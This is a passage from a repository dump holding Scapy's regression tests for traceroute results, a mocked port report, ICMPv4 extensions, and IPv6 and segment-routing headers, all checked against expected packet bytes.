ttl=0)/TCPerror()/\"scapy\")\n               for (ip, ttl) in ip_ttl ]\n\ntr = TracerouteResult(tr_packets)\nassert tr.get_trace() == {'192.168.0.1': {1: ('192.168.0.1', False), 2: ('192.168.0.2', False), 3: ('192.168.0.3', False), 4: ('192.168.0.4', False), 5: ('192.168.0.5', False), 6: ('192.168.0.6', False), 7: ('192.168.0.7', False), 8: ('192.168.0.8', False), 9: ('192.168.0.9', False)}}\n\ndef test_show():\n    with ContextManagerCaptureOutput() as cmco:\n        tr = TracerouteResult(tr_packets)\n        tr.show()\n        result_show = cmco.get_output()\n    expected = \"  192.168.0.1:tcp80  \\n\"\n    expected += \"1 192.168.0.1     11 \\n\"\n    expected += \"2 192.168.0.2     11 \\n\"\n    expected += \"3 192.168.0.3     11 \\n\"\n    expected += \"4 192.168.0.4     11 \\n\"\n    expected += \"5 192.168.0.5     11 \\n\"\n    expected += \"6 192.168.0.6     11 \\n\"\n    expected += \"7 192.168.0.7     11 \\n\"\n    expected += \"8 192.168.0.8     11 \\n\"\n    expected += \"9 192.168.0.9     11 \\n\"\n    index_result = result_show.index(\"\\n1\")\n    index_expected = expected.index(\"\\n1\")\n    assert result_show[index_result:] == expected[index_expected:]\n\ntest_show()\n\ndef test_summary():\n    with ContextManagerCaptureOutput() as cmco:\n        tr = TracerouteResult(tr_packets)\n        tr.summary()\n        result_summary = cmco.get_output()\n    assert len(result_summary.split('\\n')) == 10\n    assert(any(\n        \"IP / TCP 192.168.0.254:%s > 192.168.0.1:%s S / Raw ==> \"\n        \"IP / ICMP 192.168.0.9 > 192.168.0.254 time-exceeded \"\n        \"ttl-zero-during-transit / IPerror / TCPerror / \"\n        \"Raw\" % (ftp_data, http) in result_summary\n        for ftp_data in ['20', 'ftp_data']\n        for http in ['80', 'http', 'www_http', 'www']\n    ))\n\ntest_summary()\n\nfrom unittest import mock\nimport scapy.libs.matplot\n\n@mock.patch(\"scapy.libs.matplot.plt\")\ndef test_timeskew_graph(mock_plt):\n    def fake_plot(data, **kwargs):\n        return data\n    mock_plt.plot = fake_plot\n    srl = SndRcvList([(a, a) for a in [IP(raw(p[0])) for p in tr_packets]])\n    ret = srl.timeskew_graph(\"192.168.0.254\")\n    assert len(ret) == 9\n    assert ret[0][1] == 0.0\n\ntest_timeskew_graph()\n\ntr = TracerouteResult(tr_packets)\nsaved_AS_resolver = conf.AS_resolver\nconf.AS_resolver = None\ntr.make_graph()\nassert len(tr.graphdef) == 491\ntr.graphdef.startswith(\"digraph trace {\") == True\nassert ('\"192.168.0.9\" ->' in tr.graphdef) == True\nconf.AS_resolver = conf.AS_resolver\n\npl = PacketList(list([Ether()/x for x in itertools.chain(*tr_packets)]))\nsrl, ul = pl.sr()\nassert len(srl) == 9 and len(ul) == 0\n\nconf_color_theme = conf.color_theme\nconf.color_theme = BlackAndWhite()\nassert len(pl.sessions().keys()) == 10\nconf.color_theme = conf_color_theme\n\nnew_pl = pl.replace(IP.src, \"192.168.0.254\", \"192.168.0.42\")\nassert \"192.168.0.254\" not in [p[IP].src for p in new_pl]\n\n= IPv4 - reporting\n~ netaccess\n\nfrom unittest import mock\n\n@mock.patch(\"scapy.layers.inet.sr\")\ndef test_report_ports(mock_sr):\n    def sr(*args, **kargs):\n        return [(IP()/TCP(dport=65081, flags=\"S\"), IP()/TCP(sport=65081, flags=\"SA\")),\n                (IP()/TCP(dport=65082, flags=\"S\"), IP()/ICMP(type=3, code=1)),\n                (IP()/TCP(dport=65083, flags=\"S\"), IP()/TCP(sport=65083, flags=\"R\"))], [IP()/TCP(dport=65084, flags=\"S\")]\n    mock_sr.side_effect = sr\n    report = \"\\\\begin{tabular}{|r|l|l|}\\n\\\\hline\\n65081 & open & SA \\\\\\\\\\n\\\\hline\\n?? & closed & ICMP type dest-unreach/host-unreachable from 127.0.0.1 \\\\\\\\\\n65083 & closed & TCP R \\\\\\\\\\n\\\\hline\\n65084 & ? & unanswered \\\\\\\\\\n\\\\hline\\n\\\\end{tabular}\\n\"\n    assert report_ports(\"www.secdev.org\", [65081,65082,65083,65084]) == report\n\ntest_report_ports()\n\ndef test_IPID_count():\n    with ContextManagerCaptureOutput() as cmco:\n        random.seed(0x2807)\n        IPID_count([(IP()/UDP(), IP(id=random.randint(0, 65535))/UDP()) for i in range(3)])\n        result_IPID_count = cmco.get_output()\n    lines = [x.strip() for x in result_IPID_count.split(\"\\n\")]\n    assert len(lines) == 5\n    assert(lines[0] in [\"Probably 3 classes: [4613, 53881, 58437]\",\n                        \"Probably 3 classes: [9103, 9227, 46399]\"])\n\ntest_IPID_count()\n\n= IPv4 - Checksum computation with source routing\n\nno_sr = IP(raw(IP(dst=\"8.8.8.8\")/UDP()/DNS()))\nsr = IP(raw(IP(options=[IPOption_SSRR(routers=[\"1.1.1.1\", \"8.8.8.8\"])])/UDP()/DNS()))\nassert no_sr[UDP].chksum == sr[UDP].chksum\n\nsr = IP(raw(IP(options=[IPOption_LSRR(routers=[\"1.1.1.1\"]), IPOption_SSRR(routers=[\"8.8.8.8\"])])/UDP()/DNS()))\nassert no_sr[UDP].chksum != sr[UDP].chksum\n\n# GH4174\nsr = Ether(src=\"de:ad:be:ef:aa:55\", dst=\"ca:fe:00:00:00:00\")/IP(src=\"20.0.0.1\",dst=\"100.0.0.1\")/ \\\n           IP(src=\"20.0.0.1\",dst=\"100.0.0.1\", options=[IPOption_SSRR(copy_flag=1, pointer=4, routers=[\"1.1.1.1\", \"8.8.8.8\"])])/ \\\n           UDP(sport=1111, dport=2222) / VXLAN() / \\\n           Ether(src=\"de:ad:be:ef:aa:55\", dst=\"ca:fe:00:00:00:00\")/IP(src=\"20.0.0.1\",dst=\"100.0.0.1\") / \\\n           TCP()\nbytes(sr[UDP])\nassert sr[IP:2].dst == \"100.0.0.1\"\n\n\n###############\n###############\n+ ICMPv4 extensions\n\n= Build ICMP extension from scratch\n\npkt = IP(dst=\"127.0.0.1\", src=\"127.0.0.1\") / ICMP(\n    type=\"time-exceeded\",\n    code=\"ttl-zero-during-transit\",\n    ext=ICMPExtension_Header() / ICMPExtension_InterfaceInformation(\n        has_ifindex=1,\n        has_ipaddr=1,\n        has_ifname=1,\n        ip4=\"10.10.10.10\",\n        ifname=\"hey\",\n    )\n) / IPerror(src=\"12.4.4.4\", dst=\"12.1.1.1\") / \\\n    UDPerror(sport=42315, dport=33440) /  \\\n    b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\nassert bytes(pkt) == b'E\\x00\\x00\\xb0\\x00\\x01\\x00\\x00@\\x01|J\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x0b\\x00\\x12/\\x00\\x00\\x00\\x00E\\x00\\x00(\\x00\\x01\\x00\\x00@\\x11]\\xbb\\x0c\\x04\\x04\\x04\\x0c\\x01\\x01\\x01\\xa5K\\x82\\xa0\\x00\\x14\\xba\\xd0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00u\\x00\\x00\\x10\\x02\\x0e\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03hey'\n\n= Check dissection and rebuild of MPLS ICMPv4 extension\n\n# GH4281\n\nload_contrib(\"mpls\")\npkt = Ether(b'\\x00\\x15]\\x94AY\\x00\\x15]\\x07\\xcb\\x04\\x08\\x00E\\x00\\x00\\xb0?2\\x00\\x00\\xe6\\x01\\x1b\\xabh,\\x1f\\x1d\\xac\\x1cF\\n\\x0b\\x00Ll\\x00\\x11\\x00\\x00E \\x00<\\x96\\xdf\\x00\\x00\\x02\\x11\\xa7\\xc6\\xac\\x1cF\\n(Q_t\\xb8-\\x82\\xb3\\x00(xt@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\\\]^_\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x02\\xff\\x00\\x10\\x01\\x01\\tp2\\x01\\x05\\xde\\xd2\\x01\\x05\\x9c\\xc3\\x02')\n\nassert isinstance(pkt[ICMP].ext, ICMPExtension_Header)\nassert ICMPExtension_MPLS in pkt[ICMP].ext\nassert all(isinstance(x, MPLS) for x in pkt[ICMP].ext.stack)\nassert [x.label for x in pkt[ICMP].ext.stack[0].iterpayloads()] == [38659, 24045, 22988]\n\n# Build\npkt.clear_cache()\npkt.ext.chksum = None  # Check that chksum rebuilds\npkt[IP].chksum = None\nassert bytes(pkt) == b'\\x00\\x15]\\x94AY\\x00\\x15]\\x07\\xcb\\x04\\x08\\x00E\\x00\\x00\\xb0?2\\x00\\x00\\xe6\\x01\\x1b\\xabh,\\x1f\\x1d\\xac\\x1cF\\n\\x0b\\x00Ll\\x00\\x11\\x00\\x00E \\x00<\\x96\\xdf\\x00\\x00\\x02\\x11\\xa7\\xc6\\xac\\x1cF\\n(Q_t\\xb8-\\x82\\xb3\\x00(xt@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\\\]^_\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x02\\xff\\x00\\x10\\x01\\x01\\tp2\\x01\\x05\\xde\\xd2\\x01\\x05\\x9c\\xc3\\x02'\n\n= ICMPv4 extension - Other dissection example\n\n# GH1773\n\nload_contrib(\"mpls\")\npkt = Ether(b'\\x00\\x1cs\\x03\\x12\\x06t\\x83\\xef\\x00\\n\\xd5\\x08\\x00E\\x00\\x00\\xa8H\\x1e\\x00\\x00\\xfb\\x01\\xf0\\xe3\\xc0\\xa8\\x02\\x01\\xc0\\xa8\\x03\\x01\\x0b\\x00rr\\x00 \\x00\\x00E\\x00\\x00<H\\x1e\\x00\\x00\\x01\\x11\\xe9?\\xc0\\xa8\\x03\\x01\\xc0\\xa8\\x04\\x02\\xcc_\\x82\\x9f\\x00(3F\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\xab\\x84\\x00\\x08\\x01\\x01\\x02q1\\x01')\nassert isinstance(pkt[ICMP].ext, ICMPExtension_Header)\nassert ICMPExtension_MPLS in pkt[ICMP].ext\nassert all(isinstance(x, MPLS) for x in pkt[ICMP].ext.stack)\nassert [x.label for x in pkt[ICMP].ext.stack[0].iterpayloads()] == [10003]\n\n# Build\npkt.clear_cache()\npkt.ext.chksum = None  # Check that chksum rebuilds\npkt[IP].chksum = None\nassert bytes(pkt) == b'\\x00\\x1cs\\x03\\x12\\x06t\\x83\\xef\\x00\\n\\xd5\\x08\\x00E\\x00\\x00\\xa8H\\x1e\\x00\\x00\\xfb\\x01\\xf0\\xe3\\xc0\\xa8\\x02\\x01\\xc0\\xa8\\x03\\x01\\x0b\\x00rr\\x00 \\x00\\x00E\\x00\\x00<H\\x1e\\x00\\x00\\x01\\x11\\xe9?\\xc0\\xa8\\x03\\x01\\xc0\\xa8\\x04\\x02\\xcc_\\x82\\x9f\\x00(3F\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\xab\\x84\\x00\\x08\\x01\\x01\\x02q1\\x01'\n\n= ICMPv4 extension - RFC5837\n\n# pcap from https://gitlab.com/wireshark/wireshark/-/issues/6632\n\npkt = PPP(b'\\xff\\x03\\x00!E\\x00\\x00\\xf0\\xe7 @\\x00\\xfe\\x01z\\xde\\n\\x04\\x00\\x02\\x0c\\x04\\x04\\x04\\x0b\\x00\\xcc\\xff\\x00\\x00\\x00\\x00E\\x00\\x00(\\xa5Q\\x00\\x00\\x01\\x11\\xf7j\\x0c\\x04\\x04\\x04\\x0c\\x01\\x01\\x01\\xa5K\\x82\\xa0\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\xc4\\xe4\\x00P\\x02\\x0e\\x00\\x00\\x00\\x0f\\x00\\x01\\x00\\x00\\n\\n\\n\\n?This-is-the-name-of-the-Interface-that-we-are-looking-for-[:-)]')\n\nassert isinstance(pkt[ICMP].ext, ICMPExtension_Header)\nassert ICMPExtension_InterfaceInformation in pkt[ICMP].ext\nassert pkt[ICMP].ext.ifindex == 15\nassert pkt[ICMP].ext.ip4 == \"10.10.10.10\"\nassert pkt[ICMP].ext.ifname == b\"This-is-the-name-of-the-Interface-that-we-are-looking-for-[:-)]\"\n"
  },
  {
    "path": "test/scapy/layers/inet6.uts",
    "content": "% Scapy IPv6 layers tests\n\n# Scapy6 Regression Test Campaign \n\n############\n############\n+ Test IPv6 Class \n= IPv6 Class basic Instantiation\na=IPv6() \n\n= IPv6 Class basic build (default values)\nraw(IPv6()) == b'`\\x00\\x00\\x00\\x00\\x00;@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\n\n= IPv6 Class basic dissection (default values)\na=IPv6(raw(IPv6())) \na.version == 6 and a.tc == 0 and a.fl == 0 and a.plen == 0 and a.nh == 59 and a.hlim ==64 and a.src == \"::1\" and a.dst == \"::1\"\n\n= IPv6 Class with basic TCP stacked - build\nraw(IPv6()/TCP()) == b'`\\x00\\x00\\x00\\x00\\x14\\x06@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x14\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\x8f}\\x00\\x00'\n\n= IPv6 Class with basic TCP stacked - dissection\na=IPv6(raw(IPv6()/TCP()))\na.nh == 6 and a.plen == 20 and isinstance(a.payload, TCP) and a.payload.chksum == 0x8f7d\n\n= IPv6 Class with TCP and TCP data - build\nraw(IPv6()/TCP()/Raw(load=\"somedata\")) == b'`\\x00\\x00\\x00\\x00\\x1c\\x06@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x14\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\xd5\\xdd\\x00\\x00somedata'\n\n= IPv6 Class with TCP and TCP data - dissection\nwith no_debug_dissector():\n    a=IPv6(raw(IPv6()/TCP(dport=1234, sport=1234)/Raw(load=\"somedata\")))\n\na.nh == 6 and a.plen == 28 and isinstance(a.payload, TCP) and a.payload.chksum == 0xcc9d and isinstance(a.payload.payload, Raw) and a[Raw].load == b\"somedata\"\n\n= IPv6 Class binding with Ethernet - build\nraw(Ether(src=\"00:00:00:00:00:00\", dst=\"ff:ff:ff:ff:ff:ff\")/IPv6()/TCP()) == b'\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x86\\xdd`\\x00\\x00\\x00\\x00\\x14\\x06@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x14\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\x8f}\\x00\\x00'\n\n= IPv6 Class binding with Ethernet - dissection\na=Ether(raw(Ether()/IPv6()/TCP()))\na.type == 0x86dd\n\n= IPv6 Class - summary\na = Ether(src=\"aa:aa:aa:aa:aa:aa\", dst=\"bb:bb:bb:bb:bb:bb\")/IPv6(src='c266:a92d:0ed8:dc54:7d6f:9667:3743:a32f', dst='6406:c31f:d0b5:72fc:1700:2081:62e7:fae9')\nassert a.summary() == 'Ether / c266:a92d:ed8:dc54:7d6f:9667:3743:a32f > 6406:c31f:d0b5:72fc:1700:2081:62e7:fae9 (59)'\n\n= IPv6 Class binding with GRE - build\ns = raw(IP(src=\"127.0.0.1\")/GRE()/Ether(dst=\"ff:ff:ff:ff:ff:ff\", src=\"00:00:00:00:00:00\")/IP()/GRE()/IPv6(src=\"::1\"))\ns == b'E\\x00\\x00f\\x00\\x01\\x00\\x00@/|f\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00\\x00eX\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00E\\x00\\x00@\\x00\\x01\\x00\\x00@/|\\x8c\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00\\x00\\x86\\xdd`\\x00\\x00\\x00\\x00\\x00;@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\n\n= IPv6 Class binding with GRE - dissection\np = IP(s)\nGRE in p and p[GRE:1].proto == 0x6558 and p[GRE:2].proto == 0x86DD and IPv6 in p\n\n= IPv6 ma_addr coverage on hashret\nIPv6(dst=\"ff00::1:ff28:9c5a\", src=\"::\").hashret() == b';'\n\n= PseudoIPv6\np = PseudoIPv6(src=\"fd00::abcd\", dst=\"fd00::1234\", uplen=64, nh=socket.IPPROTO_UDP)\nraw(p) == b\"\\xfd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xab\\xcd\\xfd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x34\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x11\"\n\n= in6_chksum is computed on UDP or TCP build\nwith no_debug_dissector():\n    p = IPv6(raw(IPv6()/UDP()/Raw(load=\"somedata\")))\n    assert p.chksum == 0x45cb\n\n########### IPv6ExtHdrRouting Class ###########################\n\n= IPv6ExtHdrRouting Class - No address - build\nraw(IPv6(src=\"2048::deca\", dst=\"2047::cafe\")/IPv6ExtHdrRouting(addresses=[])/TCP(dport=80)) ==b'`\\x00\\x00\\x00\\x00\\x1c+@ H\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xde\\xca G\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xca\\xfe\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x14\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\xa5&\\x00\\x00' \n\n= IPv6ExtHdrRouting Class - One address - build\nraw(IPv6(src=\"2048::deca\", dst=\"2047::cafe\")/IPv6ExtHdrRouting(addresses=[\"2022::deca\"])/TCP(dport=80)) == b'`\\x00\\x00\\x00\\x00,+@ H\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xde\\xca G\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xca\\xfe\\x06\\x02\\x00\\x01\\x00\\x00\\x00\\x00 \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xde\\xca\\x00\\x14\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\x91\\x7f\\x00\\x00'\n\n= IPv6ExtHdrRouting Class - Multiple Addresses - build\nraw(IPv6(src=\"2048::deca\", dst=\"2047::cafe\")/IPv6ExtHdrRouting(addresses=[\"2001::deca\", \"2022::deca\"])/TCP(dport=80)) == b'`\\x00\\x00\\x00\\x00<+@ H\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xde\\xca G\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xca\\xfe\\x06\\x04\\x00\\x02\\x00\\x00\\x00\\x00 \\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xde\\xca \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xde\\xca\\x00\\x14\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\x91\\x7f\\x00\\x00'\n\n= IPv6ExtHdrRouting Class - Specific segleft (2->1) - build\nraw(IPv6(src=\"2048::deca\", dst=\"2047::cafe\")/IPv6ExtHdrRouting(addresses=[\"2001::deca\", \"2022::deca\"], segleft=1)/TCP(dport=80)) == b'`\\x00\\x00\\x00\\x00<+@ H\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xde\\xca G\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xca\\xfe\\x06\\x04\\x00\\x01\\x00\\x00\\x00\\x00 \\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xde\\xca \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xde\\xca\\x00\\x14\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\x91\\x7f\\x00\\x00'\n\n= IPv6ExtHdrRouting Class - Specific segleft (2->0) - build\nraw(IPv6(src=\"2048::deca\", dst=\"2047::cafe\")/IPv6ExtHdrRouting(addresses=[\"2001::deca\", \"2022::deca\"], segleft=0)/TCP(dport=80)) == b'`\\x00\\x00\\x00\\x00<+@ H\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xde\\xca G\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xca\\xfe\\x06\\x04\\x00\\x00\\x00\\x00\\x00\\x00 \\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xde\\xca \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xde\\xca\\x00\\x14\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\xa5&\\x00\\x00'\n\n########### IPv6ExtHdrSegmentRouting Class ###########################\n\n= IPv6ExtHdrSegmentRouting Class - default - build & dissect\ns = raw(IPv6()/IPv6ExtHdrSegmentRouting()/UDP())\nassert s == b'`\\x00\\x00\\x00\\x00 +@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x11\\x02\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x005\\x005\\x00\\x08\\xffr'\n\np = IPv6(s)\nassert UDP in p and IPv6ExtHdrSegmentRouting in p\nassert p[IPv6ExtHdrSegmentRouting].lastentry == 0 and len(p[IPv6ExtHdrSegmentRouting].addresses) == 1 and len(p[IPv6ExtHdrSegmentRouting].tlv_objects) == 0\n\n= IPv6ExtHdrSegmentRouting Class - addresses list - build & dissect\n\ns = raw(IPv6()/IPv6ExtHdrSegmentRouting(addresses=[\"::1\", \"::2\", \"::3\"])/UDP())\nassert s == b'`\\x00\\x00\\x00\\x00@+@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x11\\x06\\x04\\x02\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x005\\x005\\x00\\x08\\xffr'\n\np = IPv6(s)\nassert UDP in p and IPv6ExtHdrSegmentRouting in p\nassert p[IPv6ExtHdrSegmentRouting].lastentry == 2 and len(p[IPv6ExtHdrSegmentRouting].addresses) == 3 and len(p[IPv6ExtHdrSegmentRouting].tlv_objects) == 0\n\n= IPv6ExtHdrSegmentRouting Class - TLVs list - build & dissect\n\ns = raw(IPv6()/IPv6ExtHdrSegmentRouting(tlv_objects=[IPv6ExtHdrSegmentRoutingTLVHMAC()])/TCP())\nassert s == b'`\\x00\\x00\\x00\\x00<+@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x06\\x04\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x05\\x000\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x14\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\x8f}\\x00\\x00'\n\np = IPv6(s)\nassert TCP in p and IPv6ExtHdrSegmentRouting in p\nassert p[IPv6ExtHdrSegmentRouting].lastentry == 0\nassert len(p[IPv6ExtHdrSegmentRouting].addresses) == 1 and len(p[IPv6ExtHdrSegmentRouting].tlv_objects) == 2\nassert isinstance(p[IPv6ExtHdrSegmentRouting].tlv_objects[1], 